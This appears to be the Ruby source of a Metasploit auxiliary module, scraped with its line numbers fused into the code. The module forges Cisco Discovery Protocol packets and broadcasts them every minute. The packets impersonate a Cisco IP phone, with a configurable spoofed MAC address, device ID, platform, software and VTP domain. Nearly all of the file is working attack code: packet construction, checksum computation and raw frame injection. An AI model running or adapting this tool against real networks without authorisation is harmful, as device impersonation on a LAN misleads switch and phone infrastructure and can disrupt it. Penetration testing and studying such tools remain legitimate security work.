Path: blob/master/modules/auxiliary/spoof/cisco/cdp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture78def initialize9super(10'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',11'Description' => %q{12This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses13to the CDP packets broadcast from this module will need to be analyzed with an14external packet analysis tool, such as tcpdump or Wireshark in order to learn more15about the Cisco switch and router environment.16},17'Author' => 'Fatih Ozavci', # viproy.com/fozavci18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]21],22'Actions' => [23['Spoof', { 'Description' => 'Sends CDP packets' }]24],25'DefaultAction' => 'Spoof',26'Notes' => {27'Stability' => [OS_RESOURCE_LOSS],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)3233register_options(34[35OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),36OptString.new('VTPDOMAIN', [false, 'VTP Domain']),37OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),38OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']),39# XXX: this is not currently implemented40# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),41OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),42OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),43OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])44]45)4647deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')48end4950def setup51check_pcaprub_loaded52unless smac53raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"54end5556open_pcap57close_pcap58end5960def interface61@interface ||= datastore['INTERFACE'] || Pcap.lookupdev62end6364def smac65@smac ||= datastore['SMAC'] || get_mac(interface)66end6768def run69open_pcap7071@run = true72cdp_packet = build_cdp73print_status("Sending CDP messages on #{interface}")74while @run75capture.inject(cdp_packet)76Rex.sleep(60)77end78ensure79close_pcap80end8182def build_cdp83cdp = ''84# CDP version85cdp << "\x02"86# TTL (180s)87cdp << "\xB4"88# checksum, empty for now89cdp << "\x00\x00"90# device ID91cdp << tlv(1, datastore['DEVICE_ID'])92# port ID93cdp << tlv(3, datastore['PORT'])94# TODO: implement this correctly95# capabilities = datastore['CAPABILITIES'] || "Host"96# CAPABILITIES97# define CDP_CAP_LEVEL1 0x4098# define CDP_CAP_FORWARD_IGMP 0x2099# define CDP_CAP_NETWORK_LAYER 0x10100# define CDP_CAP_LEVEL2_SWITCH 0x08101# define CDP_CAP_LEVEL2_SRB 0x04102# define CDP_CAP_LEVEL2_TRBR 0x02103# define CDP_CAP_LEVEL3_ROUTER 0x01104cdp << tlv(4, "\x00\x00\x00\x41")105# software version106cdp << tlv(5, datastore['SOFTWARE'])107# platform108cdp << tlv(6, datastore['PLATFORM'])109# VTP management domain110cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']111# random 1000-7000 power consumption in mW112cdp << tlv(0x10, [rand(1000..6999)].pack('n'))113# duplex114cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")115# VLAn query. TODO: figure out this field, use tlv, make configurable116cdp << "\x00\x0F\x00\b \x02\x00\x01"117118# compute and replace the checksum119cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')120121# Build and return the final packet, which is 802.3 + LLC + CDP.122# 802.3123PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') +124PacketFu::EthHeader.mac2str(smac) +125[cdp.length + 8].pack('n') +126# LLC127"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +128# CDP129cdp130end131132def tlv(type, value)133[ type, value.length + 4 ].pack('nn') + value134end135136def compute_cdp_checksum(cdp)137num_shorts = cdp.length / 2138checksum = 0139remaining = cdp.length140141cdp.unpack("S#{num_shorts}").each do |short|142checksum += short143remaining -= 2144end145146checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1147checksum = (checksum >> 16) + (checksum & 0xffff)148checksum = ~((checksum >> 16) + checksum) & 0xffff149[checksum].pack('S*').unpack('n*')[0]150end151end152153154